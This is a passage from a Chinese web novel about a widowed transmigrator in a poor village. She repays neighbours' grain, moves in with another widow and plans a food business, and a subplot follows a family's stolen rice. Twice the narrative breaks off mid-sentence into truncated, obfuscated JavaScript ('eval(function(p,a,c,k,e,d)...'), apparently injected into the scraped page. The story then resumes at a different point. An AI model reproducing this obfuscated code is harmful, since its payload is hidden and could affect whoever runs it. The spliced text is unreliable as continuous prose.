现在有了官家补偿的两亩良田,不用另花银钱买田地,将来日子肯定能好过起来。 也算是苦尽甘来了。 李桂香压了压眼角,冲姚椿道:“肯定是满金在天上保佑你们娘仨呢。” 姚椿也没想到还有田地补偿,她倒没有客气说不要,即便她并不准备种地。 说了补偿的事,赵村长问:“你接下来什么打算?” “得先修屋子。”天气渐凉,总不能一直这么睡,就算她受得了两个孩子也受不了。 赵村长点点头,“地里的活也不能耽误。” 现在抢种有些晚了,但不种来年可就一点收成也没有。 吃喝都要用钱买,五两银子能花多久。 姚椿同意,想了想又补:“如今有了这份补偿,慢慢来日子总能过得下去,我想着把各家的粮食都还回去。” 怕赵村长误会,她还解释了一句:“大家的日子也不宽裕。” 主要是有了银子,姚椿就不太想继续煮‘猪食’一般的粥了。 赵村长倒没误会,毕竟这年头谁家饭里不掺点糠。 他只是没想到姚椿会主动提起此事。 毕竟那五十斤粮是村里大家主动捐赠给她们一家三口的。 即便她缓过劲来不还,也不会有人说道什么。 “昨儿我一直晕着,每家给了多少我也不清楚,还得麻烦村长您和婶子告知。”姚椿道。 “大部分我都记得。”李桂香却道,“就是那小袋大米不知道是谁扔进来的。” 等她发现的时候,已经在了。 “不是你让老大媳妇抓的?”赵村长意外。 李桂香坦然:“你又不是不清楚,咱们家的米都混着糠呢,那袋子里可都是精米。” 李桂香不是那等好充面子的人,不是她装的她可不会去占。 姚椿总算解惑,为什么早上煮粥的时候,有一部分大米另装在一个小布袋中。 她还以为是李荷花提前给筛出来的呢。 既然不是村长家给的大米,那是谁装的呢? 此时,离村长家有一段距离的纪家。 李老婆子盯着空空如也的橱柜,当即尖叫:“天杀的!哪个不要脸皮的腌臜货偷了老娘的粮食!” 4. 做买卖 李老婆子一声吼,震得纪家所有房门都开了。 二房的金玉香赶紧穿好衣服跑到厨房东张西问:“出什么事了娘?” 每回轮到金玉香做饭的时候,她总会意外睡过头。 放在平常,李老婆子早开始骂她这个惯爱偷懒的二儿媳妇。 然而此刻,橱柜里不翼而飞的精米抢占了她所有的注意力。 整整五斤上好的精米啊,她攒了许久才有这么些,正想着等下让老三给他弟弟送去。 李老婆子紧抿薄唇,目光刻薄的在老二家的脸上来回扫荡。 金玉香瞥见婆婆身后的空橱柜,她一直知道那里装着不少‘宝贝’,平日里很少打开,只有在外读书的小叔子回家小住时婆婆才会动这个橱柜。 只是现在橱柜居然空了! 金玉香后知后觉:“娘,家里进贼了?” “可不是我拿的啊娘!”金玉香又赶紧否认。 就算她有心也没胆啊。 整个山前村,谁不知道她有个厉害婆婆。 敢染指她的东西,是日子过得太舒服了吗? “丢了什么啊这是?”不管对方信没信,金玉香八卦的心还是没忍住。 “五斤大米。”李老婆子咬牙切齿。 金玉香闻言,暗地里撇撇嘴,肯定又是给小叔子留的。 可怜她一双儿女,长这么大都没吃过家里一碗白粥。 “干什么大早上在这嚷嚷。”能这么和婆婆说话的也就是她那个同样不好惹的公公了。 金玉香回头,果然见到一个披着麻布外衣、满脸精明的公公从西屋走出。 “家里丢了五斤大米。”李老婆子强调,“可其他东西都在。” 说明那贼就是冲着五斤大米去的。 李老婆子扫了几个儿子儿媳孙子孙女说:“要是让我发现是谁干的,非抽了他的皮不可!” 纪家老二纪二海靠着门打着哈欠道:“娘你怎么回回都要抽人皮,万一是老四半夜回来拿的呢?娘也抽?” “闭嘴吧你,以为溪业是你?”李老婆子一脸嫌弃。 “单丢了那五斤大米?”纪老头皱眉。 “是啊,我还单独上了锁。”李老婆子气道,“锁没被撬过,钥匙一直都挂我裤腰带上。” 为了防家里大大小小的馋鬼,李老婆子解手的时候都不会取下钥匙。 “你是不是上回用过之后放别处去了。”纪老头问。 “没有。”李老婆子肯定,而且她刚刚已经把整个厨房都翻了一遍。 家里又不大,厨房更是一眼能望尽的地方,她连捆好的柴都解开找了。 “老二家的,是不是你拿的!”李老婆子眯眼想了想,她这个二儿媳又懒又馋,平日家里有点吃的就喜欢抢。 连亲侄子剩下的一口糕点都要哄骗。 金玉香还没说什么,纪二海身子猛地站直跨步过来道:“娘什么意思,是认定大米是我们二房拿的了?” “家里除了她,还有谁嘴这么馋?连小叔子的口粮都不放过!”李老婆子打定主意认定了是金玉香。 “我媳妇儿嘴馋?”纪二海像是听到了什么笑话,一脸嘲讽,“这个家到底谁嘴最馋,娘难道真不知道?” “一家子粗茶淡饭勒紧裤腰带供他读书,结果进城才几日,就要顿顿细粮养着。” 平日里没什么正经人样的纪二海此刻腰背直挺站直李老婆子跟前。 “不仅耗尽了亲大哥的命,连亲侄子都不放过。” “闭嘴!胡咧咧什么!”纪老头打断他的话,“老大是病死,满金是意外,往老四身上扯什么扯!” 纪老头狠狠拧了纪老二一眼,最后扭头看向窝在厨房里的搅事精,重声重气,“还不做饭!一会儿不下地了?” 金玉香当即扭身进厨房,重重翻了个白眼。 几乎一瞬,纪二海也恢复了之前没事人一样,吹着口哨,脚步浪荡着回屋。 仿佛方才那场剑拔弩张的气氛从未有过。 李老婆子不甘心地敲敲打打,丢了粮食,她哪还有心情拿东西做饭。 挑挑拣拣拿了几个歪三扭四的红薯并一碗杂面给老二家的:“就这些,一天天的就知道吃!” 金玉香瞥了一眼,很是无语,一家十二口人大早上就吃这点,等会儿怕是还没走到地里人就得饿晕。 李老婆子一走,金玉香当即也敲敲打打地发泄自己的不满。 嘴里还不停嘀咕,一大把年纪,重孙女都有了还把持着一家不放手。 唉,金玉香望着灶膛里燃起的火苗,也不知道他们二房什么时候能分出去。 厨房的声歇了,一直猫在房门后没出去的孙芳赶紧关门回屋,丈夫和几个儿女凑上来七嘴八舌地问:“娘/奶丢了啥?” 孙芳细声细语:“好像是给小叔子留的精粮不见了。” 纪老三一听,眼底划过不知名的情绪,嘴上却道:“四弟读书费脑,多吃点细粮应该的。” 孙芳心底哼了一声,瞥了眼三个女儿,目光最终落向老二。 她轻轻眨了下眼道:“秋丫,去厨房给你二婶帮忙,多大了还睡懒觉。” “哦。”一向话少且存在感很低的纪满秋低着脑袋,脚步无声地走出去。 三妹纪满彤瞧着二姐离开的身影,当即挎过孙芳的手臂,小声撒娇:“娘,我今日身体不舒服,喂鸡的活能不能让二姐去啊。” “身子不舒服就在屋里休息,少出去晃荡,否则让你奶瞧见又要说你。”几乎没有犹豫,孙芳就道,“等下我去和你二姐说。” 早早起来已经洗了一家人衣服回来的纪满翠听到自家娘和三妹的话,当即推门进来道:“娘,彤丫已经不小了,喂鸡又不是重活,别什么都推给二妹。” “她是姐姐,帮妹妹做点事怎么了。”孙芳满不在意,“更何况你又不是不知道满铁黏彤丫黏的紧,一会儿看不到就要闹。” 孙芳连生了两胎女娃才有了老三老四这对龙凤胎,让一向没什么存在感的她在四邻乡亲们跟前狠狠出了一场风头。 见劝娘无望,纪满翠看向一直不吭声的爹道:“爹,你也这样认为?” 纪老三看了一眼还在熟睡的儿子,这是他唯一的儿子。 回头,眼神犹豫道:“秋丫是你妹妹,满铁也是你弟弟啊翠娘。” …… 一大早被冤枉偷粮,金玉香哪还有什么心情煮饭,几个红薯洗洗切切随便煮了一大锅红薯杂面疙瘩。 什么调料都没放。 油盐都在柜子里锁着呢。 她可没钥匙。 很快灶台上围了一圈土陶碗装的面疙瘩汤,其中四碗略稠,金玉香递了一碗给闷声不吭过来帮自己烧火的纪满秋。 “赶紧喝了,今天可没刷锅水留给你。”金玉香刻薄道。 也不等对方反应,自己用木托盘端着三碗面疙瘩回自己屋。 纪二海早在门口等着接应。 金玉香自然地递过托盘问:“儿子呢?” 提起这事纪二海就生气:“别说了,臭小子昨儿午后就没再见到人。” 金玉香:“不会是去他姐夫家了吧?” 纪二海和金玉香只有一女一儿,女儿前两年嫁人了,去年年底给他俩生了个大外孙。 许的是隔壁石头村的一户郑姓人家的独子。 “此事先不定,我怀疑娘那五斤大米就是你儿子偷走的。”纪二海低声道。 金玉香一听不干了:“关满银什么事?!还有什么叫我儿子,难道不是你儿子?!” “嘘你小声点!”纪二海捂住她嘴,“小心娘听墙角。” 金玉香撇嘴:“多大年纪了,还干这么不上台面的事。” 妻子吐槽亲娘,纪二海却没反驳,而是继续道:“行行行,我们的儿子。” “就是这臭小子忒不孝了,那可是五斤大米啊,也没想着孝敬孝敬他老子。” 想到白花花的大米,纪二海口水差点流出来。 想到自从生了儿子奶水一直不够的女儿,金玉香也觉得婆婆藏的大米是自家儿子拿的。 姐弟俩打小感情就好,用她男人的话说,闺女遛儿子跟遛狗一样,三言两句就将她弟弟哄骗得团团转。 先前她得知老大家的满金要去山上碰碰运气,私底下还找过对方,要是真猎到了什么家伙,能不能匀一半卖给她。 谁能想到他这一去就再回来就只剩一副残躯。 即便猜到是儿子干的好事,夫妻俩也没想着去找儿子拿回粮食。 默契不再提这事,夫妻俩慢悠悠地分食了属于儿子的那碗面疙瘩。 此时此刻,石头村的郑家。 纪满玉盯着亲弟弟送来的两斤大米,拧眉:“不管从谁家拿的,现在立刻马上给我放回去!” “自家拿的。”纪满银连忙道,“我可没去偷。” “咱奶会舍得给你两斤大米让你拿过来给我?”打死纪满玉她都不信。 “不是咱奶,是咱大哥。”十五岁的半大小子说话突然颠三倒四。 纪满玉愈发觉得他在说谎:“你在胡说什么,大哥都走一个多月了。” 纪满银挠头,想了想,还是把昨日发生的事告诉了她。 昨儿半下午,和村里的狐朋狗友游荡完回村的纪满银得知被分出的大嫂饿死后又因大哥显灵活过来的事后不知道怎么想的就直奔家中。 当时他特意从后院绕回家,没惊动前门门口吵闹的一群人。 然后直奔厨房,对着李老婆子平日里看得贼紧的橱柜,双手合十向天许愿什么只要纪满金这个大哥能显灵让橱柜自己打开,里面的好东西他就分一半给大嫂她们。 结果。 嘿! 那橱柜上的锁居然真自己开了! 纪满银定睛往里一看,橱柜里赫然装着五斤大米。 当时他想也没想抱着五斤大米就溜,途中听到村长家的荷花嫂子和她婆婆正在挨家挨户凑粮给大嫂。 他脑子一转,问一个狗友借了个小布袋,装了一半多的大米,然后趁所有人没注意丢进去。 生平第一次干这样的事,吓得他一整晚没敢回家,躲在外面将就一夜,天将将亮就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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纪满玉回:“屋里带小宝呢。” 她这位婆婆极有分寸,得知她娘家弟弟一大早过来怕是有大事,什么都没说主动从她怀里抱走小宝回屋哄。 至于纪满银说的大哥显灵一事,纪满玉压根没放在心上,肯定是她那个偏心奶舍不得换下老化生锈的锁头,碰巧让她弟弟捡了便宜。 * 赵村长和老妻猜了半晌也没猜出凭空多出来的三斤大米是谁家出的。 最后索性就当是老天爷送的。 山前村一共五十多户人家,平均一家出了近一斤粮,做成稀糊糊够一家人吃一顿。 不少了。 姚椿很感激大家,于是提出想每家多还个二两。 赵村长听后皱眉,不太同意:“满金媳妇,五两银子看着多,可平安和阿月还小呢,哪经得起你这个花法。” “村长叔,您先听我说。”姚椿解释道,“平安她爹走了,虽说县里给了田地补偿还有村长您做主让村里后生帮我们娘仨开的那两亩荒地,可您也说了阿月还小,平安更是离不了我这个娘,这四亩田地我一个妇道人家得种到什么时候。” 赵村长一听,好像是这么回事,先前他只想着姚氏有了这几亩地,日子总能过得去,却忘了对方家里如今连半个能担事的男人都没有。 四亩地对一个拖家带口的寡妇来说是难了些。 “那你的意思是?”他问。 姚椿低下头,学着原主的性格,先是生疏地拽了拽衣袖,后慢慢攒了口气才敢抬头:“我想着把地租出去,四亩地的租子省省应该够我们一家三口一年的口粮,这五两银子我想去镇码头做个吃食买卖。” “做买卖?”谁知赵村长听到这句话,眉头皱得更深了,这年头买卖可不是一张嘴说说就能做成的。 更何况她们孤儿寡母的。 “我知道村长叔担心什么,我现在是个寡妇,可就算我将来什么都不做,难道就不会有人说三道四了么?”姚椿苦笑一声,“嘴长在他们身上,无论我做什么,他们都不会停下嘴。” “我觉得满金媳妇说的没错,那些腌臜婆子才不管你做了什么,张嘴就喜欢喷粪!”李桂香骂道。 “这样的人还是少数。”姚椿找补道,“像我们山前村就没有。” 她不着痕迹拍了一下赵村长的马屁。 一个村的村民能有如此素质还不是一村之长管得好。 赵村长哪里听不出来,只是心里再想,以前有满金在前面顶着,他一直都以为姚氏性子懦得很。 如今这样瞧着,还是有些心眼的。 此刻赵村长已经反应过来她先前的提议是为何意。 所谓还粮,一来可以让村里人知道她姚椿是个知道好赖的人,她如今有了银钱和田地补偿,不好再占乡亲们的便宜。 而多还二两,则是让大家明白她是个懂得感恩的人,感念乡亲们在她跌落谷底时愿意伸一把手。 最重要的一点,一旦她要去镇上码头做吃食买卖,五两银子和田地补偿一定瞒不住纪家那边。 而村里人得她多还的这二/两粮食,多多少少会站在她这边。 5. 金汤面 赵村长并不反感姚椿这点小心思,这样才不会总让纪家欺负了去。 他是山前村所有村民的村长,不能只顾着姚氏一家,尤其姚氏现在还是个寡妇,时间久了容易让人说闲话。 如今银钱和田地补偿都有了,人还得自己立起来啊,赵村长心道。 至于姚氏要做什么吃食买卖,赵村长很有分寸,没问。 他不问,姚椿自然不会主动提,八字还没一撇的事不好反复招摇。 身怀五两‘巨款’,草屋是不能再住了,姚椿提出要盖房子。 然而赵村长听后却说:“现在村里都在准备秋收,怕是没这个时间,倒是可以请外面的人,就是工钱得高些。” 不过像村里盖房子一般都不会请外人,外面人盖的是漂亮,可村里的房子只要牢固下雨天不塌就足够了。 外表没那么重要。 因此请村里人盖工钱要便宜许多,若是遇到实在穷苦的人家,意思意思给些粮食,再请顿好酒好菜招呼,大家也愿意帮忙。 乡里乡亲不都是你帮我助这么过来的。 姚椿和赵村长想得差不多,身上一共就五两银子,不可能盖多好的房子,能遮风挡雨就够了,她相信自己不会一辈子住在村里,待将来生意做成肯定要搬去镇上或县城里去。 然而现在的问题是,等秋收后再盖,未来十天半个月她们一家人住哪里。 赵村长见她面露惆怅,想了想道:“村里罗氏家就她一个人住,你要是不介意让你桂香婶子去帮你说项。” “罗氏人不错,别听外头人闲言碎语,她一个寡妇身体又不好,要是嘴巴再不厉害些,还怎么活。”怕姚椿想岔,李桂香耐心解释了一句。 还道:“她家没男人,你们住过去也不用给租子,允她一些粮食就成。” 姚椿闻言,眼睛一亮。 她翻了翻记忆,罗氏和自己一样是寡妇,不同的是她早年死了男人儿子也没养住,十多年一直一个人过,虽说在村里风评不好,但大多都是说她刻薄嘴不饶人。 一个不顺心村里谁家的狗路过都要挨骂一通。 自己以后要做吃食买卖,一整天大半时间都不在家,罗氏生人勿进的性情反而合适。 “那就麻烦桂香婶子了。”姚椿扭头看向李桂香。 见她没有丝毫勉强和不愿,李桂香心下也高兴,觉得自己的苦心没有白费:“嗐,又不是什么大事,你罗婶子啊就是面冷心热,我去说她一准同意。” 姚椿很是感激,无论是原主还是她,赵家都帮了她们许多。 当初若没有李桂香婆媳挨家挨户为她们筹粮,自己就算借尸还魂活了过来怕也难继续活不下去。 这次还乡亲们的粮,姚椿想了想,开口询问赵家有没有多余的存粮,她按市场价买。 存粮当然有,赵家田地多,可人口也多,好在李桂香是个精打细算过日子的人,年年粮食吃到二年秋收都会剩不少。 得知姚椿要从自家买粮,李桂香当即高兴地吆喝大儿媳过来帮忙称重。 说是按照市场价买,可这些粗粮拿去镇上根本卖不上价格,贱卖又不值当。 李桂香知道姚氏是故意如此。 她明白,赵村长就更清楚了,不过谁也没说穿。 乡里乡亲彼此互相帮衬没什么不该的。 对于赵家的敞亮,姚椿很意外却也很开心,她喜欢与敞亮人打交道。 除了要还给乡亲们的,姚椿自己也买了十斤玉米面十斤灰面以及十斤大米。 其中五斤玉米面和五斤灰面是准备给罗氏的租子。 姚椿看了所谓的灰面其实就是品质差了许多的白面,那种亮白洁净的白面,乡下人家根本舍不得留或买着吃。 不过李桂香说这样的灰面拿去充当房租已经算很不错的了。 本来姚椿想多买点大米,然而赵家一共就只有十斤大米,还是李桂香一点点攒的,原本是想留着今年秋收时给一家人煮两顿干的补一补身体,没曾想今日被姚椿包圆了。 是要大米还是要哗啦哗啦叮当响的一把铜钱,李桂香当然选后者。 一顿不吃干的又饿不死,可有了银钱,家里攒的鸡蛋就能少卖出去几个,鸡蛋可是荤食,不比大米补身体? 商定了还粮一事,姚椿背着粮食带着两个孩子从赵村长家离开。 相较于昨日的绝望,纪满月此刻脸上充满了笑容,她一手牵着小侄女平安,一手挎着个小竹篮,里头装着桂香婶子给的菜苗,反复追问姚椿:“嫂子,我们以后真的再也不用饿肚子了吗?” “当然,方才村长叔不是说了,你大哥的事县里给了补偿。”无论是协议还是田地补偿姚椿都没有瞒着纪满月。 纪满金是她大哥,她有权知道。 “可之前都没有的……”猛地听到大哥的名字,纪满月脸上的笑容一下淡了许多,大哥刚过世的时候爷奶没有立刻将她和大嫂平安赶出家门就是想看县里会不会补偿。 在纪家等待的那一个月,纪满月无比惶恐,既怕有又怕没有。 有的话一定会被爷奶以孝道的名头夺去,可若没有她和嫂子平安就一定会被赶出家门。 想到这里,纪满月语气逐渐变得担忧:“爷奶要是知道又有了补偿,一定会来抢的!” “放心,有嫂子在,不会让人欺负你。”对于纪家人,有原主的记忆在,姚椿心里有底。 纪家在山前村没什么亲戚,纪老头又偏心幼子,一家人面和心不和,并不齐心。 再加上李老婆子那张嘴经常在村子里得罪人,山前村与纪家交好的人家少之又少。 姚椿觉得先前是纪满金的死影响了原主的情绪,如果原主还活着,一旦等她反应过来,纪家绝对讨不了好。 可惜没有如果。 姚椿带着俩孩子先回草屋收拾家当,其实也没什么好收拾的,左右不过三副碗筷一个陶罐还有那张补丁门帘。 哦还有三套已经看不出样式的换洗衣裳。 也就是实在破得不成样子才没被纪家抢了去。 不过姚椿也没嫌弃,虽然补丁多,但起码还能穿不是。 姚椿直接把门帘铺在破草席上,衣服叠好放上去,再两头系牢,学后世电视剧里的情节单肩背上。 瞧着没多少家当,可认真收拾起来,姚椿却发现自己居然拿、不、下! 便宜闺女才两岁,大概是以前吃的不好的缘故,如今无论是开口说话还是走路都比同龄人晚。 尤其是走路,不仅摇晃瞧着软趴趴的。 而草屋离罗家有段距离,比去村长家远多了,姚椿总不能让个两岁的娃娃自己走过去。 想了想,她把放进粮食筐里的陶罐碗筷拿出来放进原先装菜苗的小筐里,然后让纪满月背着她们仨人的换洗衣裳。 至于菜苗种子就留在草屋,明儿有空了过来种上,总不能白白浪费原主开的那块菜地。 装粮食的筐是从赵家借来的,足够大,腾出陶罐碗筷,刚好够把便宜闺女放进去。 就是姚椿有点担心:“平安啊,千万别尿粮食上了啊,想尿尿了一定要喊娘。” 这年头没尿不湿,对于尿布,姚椿是一万个不放心。 “平安不尿。”不知道是不是被姚椿不信任的眼神伤到了,萎靡了两日的奶娃娃破天荒的发了回小脾气。 纪满月护道:“嫂子你忘啦,平安一直都很乖,从不乱尿。” 不像三叔家的满铁哥一不高兴就要尿床,恶心死了,只有三婶才会觉得满铁哥的童子尿是香的。 一想到那次自己撞见三婶偷煮满铁哥的童子尿喝,纪满月忽然有点想吐。 她努力忍住,桂香婶子喂的干枣甜着呢,吐了多浪费。 对于纪满月的话姚椿没有全信。 想了想,姚椿放下手里的东西,提溜出大筐里的闺女抱起。 平安疑惑:“娘?” 姚椿抱着她就往外走:“娘带你尿尿去。” …… 回到家收拾好再往罗家去,姚椿估算好时间,正好与李桂香在罗家碰上。 此时李桂香已与罗氏说好了借住的事。 对姚氏娘几个遭遇,罗氏也算是感同身受。 反正自己一个人住也寂寞,如今多几个人陪自己,还能赚点粮食补贴,她当然愿意。 主要是她瞧着娘几个也不像会惹事的。 罗氏最怕麻烦了。 姚椿大致看了看,罗家整体要比村长家小很多 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昨日李桂香婆媳挨家挨户求粮的时候,罗氏也舀了半碗玉米面,罗家田地不多,罗氏身体不好,因此田地都是租出去的,年年就靠租子维持生活。 不过这些罗氏也没想过和姚椿说。 左右不过一点油和盐巴,她还出得起。 “多谢婶子,我这搬出来匆忙,的确有许多东西没置办。”姚椿也没客气,不过她也道,“既然如此,饭我来煮好了,婶子你帮忙烧个火行不?” 罗氏自是没有什么不愿,当即方下手里的菜刀。 这个时节蔬菜多,先前姚椿收拾屋子那会儿,罗氏已经让纪满月去后院菜地摘了不少菜。 姚椿大致看了看,有南瓜、韭菜、白菜和辣椒等等,意外的是她还发现了罗氏腌的两小坛酸豆角和酸萝卜。 问过罗婶子酸豇豆已经能吃后,姚椿掏了几根出来切成短丁。 对方出了菜和调料,姚椿便主动拿出了粮食。 一半玉米面一半灰面。 条件有限,就简单做个简易版金汤面条吧。 这时候南瓜早已蒸熟晾凉捣成细泥状和酸豆角酸萝卜一起煮,在放辣椒进去前,姚椿问了罗氏一句吃不吃辣。 罗氏点头,不过她说:“少放些吧,孩子吃不了太辣。” 姚椿动作一顿,差点忘了还有两个孩子。 那就只能放一点提味了。 不过…… 她瞄了一眼依旧冷着一张脸的罗氏,还真是面冷心热啊…… 再把洗好的白菜其中的白菜梗先放进去一起煮,姚椿又开始擀面条。 她手快,罗氏感觉自己才烧了没多久的火,一抬头发现锅里已经金灿灿的,闻着似乎还有一股酸辣味。 激得她口水差点流出来。 罗氏吞了下口水道:“这味儿真霸道。” 姚椿心说,还能更霸道呢,只可惜食材有限。 “好香啊嫂子。”在外面带小侄女玩的纪满月闻着香味终是没忍住溜进来。 姚椿把擀好的面条下进锅里,道:“很快就能吃了。” 土灶火力猛,宽薄均匀的面条下进去,没一会儿便熟了。 见两小儿扒着灶台,一脸馋像。 姚椿笑了笑,转头从锅里挑起一根面条让她俩一人吃一头,吃着玩。 大概是许久没有吃到这么好的吃食,一向有些早熟的纪满月没有抗拒掉嫂子夹到嘴边的面条,挣扎片刻后便由着嘴巴一吸一咬和小侄女分食一根面条。 “好好吃啊!”姑侄俩边吃边惊呼,差点让嘴里的面条掉地上。 一根面条吃完,姚椿也盛好了四碗金汤面。 她特意多放了些水,面条盛完,锅里还留了不少汤,想多喝汤管够。 面条劲道,汤口酸辣开胃。 吃了一碗面,又喝了两碗汤,罗氏才恋恋不舍放下碗筷。 姚椿和她差不多,一碗面条两碗汤。 穿越至今,终于吃了顿正经饭,姚椿此刻心灵和胃总算得到了一丝满足。 填饱肚子,吃食买卖也得开始准备起来。 原本姚椿还没想好做什么吃食,这顿金汤面倒是给了她灵感。 6. 去赶集 吃过饭,罗氏主动接过了洗涮的活。 姚椿去了西屋,将准备好的粮食拿来厨房:“婶子,这是说好的粮食。” 罗氏放好碗筷,回头看了一眼粮食,却没接,“粮食你拿回去。” “没有让你白住的意思。”罗氏瞥她,“你饭做得不错,家里一共就一口锅,做两家饭费时又费事,反正你要做几个人饭,加我一个也不多,这些粮食就当我的伙食费,还有菜地那些菜随便你们择,够了吧?” “够,当然够。” 见她表情没有勉强的意思,罗氏神色也缓了缓。 多做一个人的饭对姚椿来说一点也不费事,不过现在最重要的是她得洗澡了。 也是来到罗家看到整洁干净的西屋姚椿才后知后觉自己有多埋汰,姚椿估摸着这副身体自从被纪家赶出来后就没好好洗过一回澡。 若有似无的臭味在厨房里的香味散去后愈发明显。 然而姚椿还没提出要烧水洗澡,罗氏便捂了下口鼻道:“瞧你一身油烟,赶紧烧水洗洗吧,不过烧水的柴用了多少可得给我补上。” 姚椿尴尬地摸了摸鼻头,应了一声。 然后赶紧烧了一锅热水,先给两个孩子洗。 从罗氏那借的木盆还算大,两个孩子坐进去绰绰有余。 好久没洗过这么舒服的热水澡,西屋里,纪满月脸颊被热气熏得红扑扑的:“嫂子~” 姚椿正在给小的搓胳膊上的灰泥,听到小姑娘喊自己,抬眸:“怎么了?” 纪满月摇头:“没事。” 她就是高兴,家里有了田地和存款,中午吃了从来没吃过的金汤面,现在还有热水澡洗,她们终于不用像之前那样总饿肚子。 姚椿只当她孩子心气上来了,仔细给俩人洗完后,让她们在堂屋门口坐着顺便晾头发。 刚入秋,午后还有一丝余热,披着湿漉漉的头发也不用担心着凉。 此时第二锅热水也烧好了,姚椿端着两桶热水进西屋,彻彻底底地搓了一遍,热水舒缓了身子,整个人似乎都轻松了许多。 洗完澡又顺手给仨人的衣服给洗掉,忙活了半天姚椿才有空坐下吹吹风。 这会儿平安的头发刚好干了,姚椿又忙不迭找出李桂香送的小木梳。 两岁大的女童,营养不良,导致头发也是细软塌,还发黄。 一把梳起来,勉强扎出两个发苞。 瞧着没多少活,可一通干下来,姚椿胳膊还是酸了。 放下梳子,捏了捏全是骨头的胳膊,姚椿心想,还是太虚。 得补。 不光自己,她看了一眼眼前俩小只也得好生补一番。 正好明儿就是赶大集的日子,姚椿想去镇上,一来给家里添点油盐酱醋啥的,二来置办一些做吃食买卖需要的物什。 村里寻常一日只两顿,但姚椿习惯一日三餐,穿到这里也没想改变,哪怕一顿少吃些也要吃三餐。 早上煮了粥,中午又是金汤面,晚上她看罗氏后院还漏了两个番柿子没摘,决定做个简单的番柿子鸡蛋面疙瘩汤。 罗氏有养鸡,鸡蛋是有的,听到姚椿要和自己买一个鸡蛋,她转身去鸡窝里掏出今日还没来得及捡的两颗鸡蛋,拿了一颗给她:“钱就不用了,做好吃些,可别废了我的鸡蛋。” 姚椿接过似乎还有余温的鸡蛋,笑了笑:“保证婶子吃了心里还想。” 瞅她突然的热情,让罗氏也不由自主轻轻弯了弯唇角。 番柿子用热水烫一烫,撕掉表面的皮,再切成指甲大小的碎粒状。 罗氏一边烧火一边看她做饭,瞧见她还把柿子皮撕了,心道做个饭这么精细讲究,不好吃才怪。 疙瘩汤她往常也不是没做过,可就是没她这么细致,多数水开了面糊倒进去搅合搅合,再从坛子里掏点咸菜,就是不错的一餐了。 可姚氏呢。 先是用一点油盐爆炒了下切好的番柿子,待番柿子炒软炒出汁水再倒进事先烧好的热水。 然后水一点点滴进装面粉的碗里,期间用筷子不停搅拌,争取让每一颗面疙瘩大小都一样,这样到时候煮出来的面疙瘩才不会有的熟有的还夹生。 等差不多快煮好,姚椿又切了点青菜碎放进去,然后均匀地浇满已经打散的鸡蛋液,最后临出锅前又撒了一撮葱花增香。 单是看色泽就让人口齿生津。 依旧是一人一碗。 俩孩子小,姚椿给她们拿了勺子慢慢舀着吃。 她们大人就省了,不过纪满月看姚椿直接沿着碗边吸溜,感觉这样吃似乎更好吃一些,于是放下勺子,也学她嘴贴着碗口来回吸溜。 加了这么多菜和鸡蛋的疙瘩汤又香又滑,纪满月喝得眼睛都亮了。 平安不太稳当地从碗里舀出一勺汤小心翼翼地往自己嘴里送。 不知道是饿极了还是怎的,疙瘩汤还没到嘴边就急急伸脑袋要吃,结果显而易见,随着她身体微微一晃,本就没装多少疙瘩汤的浅口木勺放进嘴里只剩个底味。 平安砸吧了下嘴,突然啊了一声,她的疙瘩汤呢? 小脸一垮,急急看向姚椿。 此刻姚椿一碗疙瘩汤早已下肚,瞥见便宜闺女的滑稽吃相,觉得好笑。 “好了,娘喂你。”在便宜闺女急得要哭之前姚椿赶紧夺过勺子,一口一口舀着喂她。 小孩很乖,坐在位置上一动不动等喂,吃一口喊一声娘,姚椿心道,纯天然的就是又嫩又奶。 …… 清晨鸡叫第三遍时,姚椿醒来,瞥见屋外湿漉漉的泥地方才庆幸自己已经搬到了罗氏家。 但凡再晚一日她们一家就得淋成落汤鸡,对于那草屋的挡雨能力姚椿并不信任。 姚椿又睡了个短暂的回笼觉,待外头天蒙蒙亮才起身准备去厨房做点吃食。 按照罗氏的话说,山前村离镇上不远,至少比附近其他村子要近上许多,然而姚椿再问发现就算比大多数村子要方便却也要走上小半个时辰。 大清早这么一路走过去,肚子里不填点实在的可不成。 姚椿洗了一把韭菜切碎,少许油和盐拌一拌,再加半碗玉米面少许水搅成略硬的面糊团。 锅底倒上水,烧热,饼贴边。 姚椿特意将饼捏薄些,等水开了,韭菜玉米饼也就熟了。 一面焦香一面软和。 罗氏有个水囊,不过很少用,昨日拿出来还和新的一样。 姚椿用它装了满满的热水,留着出门渴了喝。 罗氏是被厨房的烟火气香醒。 她坐在床榻边,望着厨房升起的袅袅炊烟,愣了愣神,有多少年没见过这样的场景了,一起来就有热汤热水。 罗氏来到厨房,灶边人正在铲锅边的饼子。 “这是贴的韭菜饼?”她闻到了韭菜香。 听到声音,姚椿回头道:“对,玉米韭菜饼,婶子你醒了先吃,我去喊她俩。” 姚椿回到西屋,俩小只还睡得贼香,就是睡姿不复昨日,有些豪放。 平安整个身体都横了过来,脚还抵在阿月嘴边,再翻个身怕是就要被砸吧嘴的阿月吃进去。 幸好昨儿给俩人从头到脚洗了一遍,姚椿想,不然味儿可有点大。 挨个叫醒起来洗漱,另一边罗氏也将韭菜玉米饼端到堂屋。 吃完早饭,略略收拾一番,四人便出门去镇上。 原本姚椿想着自己一个人去,留俩小只在家,可当她昨晚提出这个想法时遭到了俩小的强烈拒绝。 平安还有些懵懂,只知道自己不想离开娘。 纪满月则是非常强硬地要求一起去。 姑侄俩如出一辙水汪汪可怜兮兮的眼睛望着她,半天下来,姚椿还真张不出嘴说出那句狠心的话来。 罗氏见此就说她正好需要去镇上换点针头线脑,正好一起。 姚椿松了口气,自己一个人可看不了两个孩子。 有罗氏在就好多了。 经此一事,姚椿更加坚定了要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姚椿只能安慰自己胡椒很轻,一两能用很久。 看了一圈贵如黄金的调料,再看到坛子里卖的素油,姚椿忽然觉得这油价可真亲民啊。 除了猪油略贵些,其他素油比如芝麻油豆油等价格都在姚椿可接受范围内。 